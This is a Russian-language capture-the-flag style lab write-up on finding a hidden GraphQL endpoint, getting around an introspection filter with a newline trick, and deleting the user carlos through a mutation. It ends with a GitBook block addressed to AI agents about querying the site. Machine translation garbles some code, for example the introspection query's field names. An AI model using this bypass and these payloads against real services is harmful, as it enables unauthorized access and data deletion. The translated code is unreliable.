> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/graphql/graphql-cached-endpoint-discovery.md).

# Обнаружение закэшированного endpoint GraphQL

### Поиск скрытого GraphQL-эндпоинта

**Сведения о лабораторной работе**

Функции управления пользователями этой лабораторной работы основаны на GraphQL **скрытый** эндпоинте. / Обнаружить его, просто просматривая сайт, невозможно, и **PlotQL** применяются механизмы защиты.

**Цель:**

* Определить скрытый GraphQL-эндпоинт
* Удалить пользователя **carlos**

<figure><img src="/files/e2397a4f747a8cf55deeac9b5584cd227eccb14e" alt=""><figcaption></figcaption></figure>

**Начальная разведка**

При обычной навигации по приложению видимых признаков использования GraphQL нет. / Поэтому необходимо вручную проверить наиболее распространённые GraphQL-пути.

**Проверка распространённых GraphQL-путей**

Проверяются следующие пути

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

Путь **`/api`** отвечает следующим сообщением:

```bash
"Запрос отсутствует"
```

Это явно указывает на наличие активного GraphQL-эндпоинта.

<figure><img src="/files/f4c9ccdbe43d919b266d0b10f4ac10992b91f1f0" alt=""><figcaption></figcaption></figure>

**Проверка фильтрации интроспекции**

Простой запрос интроспекции отправляется через URL:

```bash
api?query={__schema{types{name}}}
```

Ответ сервера:

`Интроспекция GraphQL запрещена, но запрос содержал __schema или __type`

<figure><img src="/files/ae297195f1dc3c58ab5715301d7df1459ebcf7d4" alt=""><figcaption></figcaption></figure>

Та же блокировка возникает при отправке полного запроса интроспекции через Burp или GraphiQL.

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            описание
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    описание
    fields(includeDeprecated: true) {
        name
        описание
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        описание
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    описание
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}
```

{% endcode %}

<figure><img src="/files/d735c3e5e6e60959281f4eb538ad179f5785e589" alt=""><figcaption></figcaption></figure>

**Обход блокировки интроспекции**

Чтобы обойти фильтрацию по ключевым словам `__schema` и `__type`, а **перенос строки** добавляется перед открывающей фигурной скобкой:

```graphql
__schema
     {
```

Это небольшое изменение позволяет серверу принять и обработать запрос.

<figure><img src="/files/e52f9309755cc86e0f2de3699801be2d704b500f" alt=""><figcaption></figcaption></figure>

**Анализ схемы GraphQL**

После того как интроспекция принимается, обнаруженные запросы отправляются в **карту сайта** чтобы было легче анализировать.

<figure><img src="/files/9676b7803fb921a5b59a8fedf3558e3310cc0b40" alt=""><figcaption></figcaption></figure>

Выявляются два важных запроса.

<figure><img src="/files/f2c8a4bed27efe1a47bd951f8b3a0a89ab93231e" alt=""><figcaption></figcaption></figure>

**Получение пользователя по ID**

Запрос для получения имени пользователя по его идентификатору:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
  }
}
```

При указании следующего ID:

```json
{
    "id":3
}
```

Выявляется, что пользователь с ID **3** соответствует **carlos**.

<figure><img src="/files/4472d3ad3e2281bde86b0bbcececa9368f41b075" alt=""><figcaption></figcaption></figure>

**Удаление пользователя carlos**

Перенос удаляет пользователя из организации:

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      username
    }
  }
}
```

Используемый полезный нагруз:

```graphql
{
  "input": {
    "id": 3
  }
}
```

Пользователь **carlos** затем успешно удаляется.

<figure><img src="/files/767ec9286f3a10dc5f3c38c8593ac81c074a8bc9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
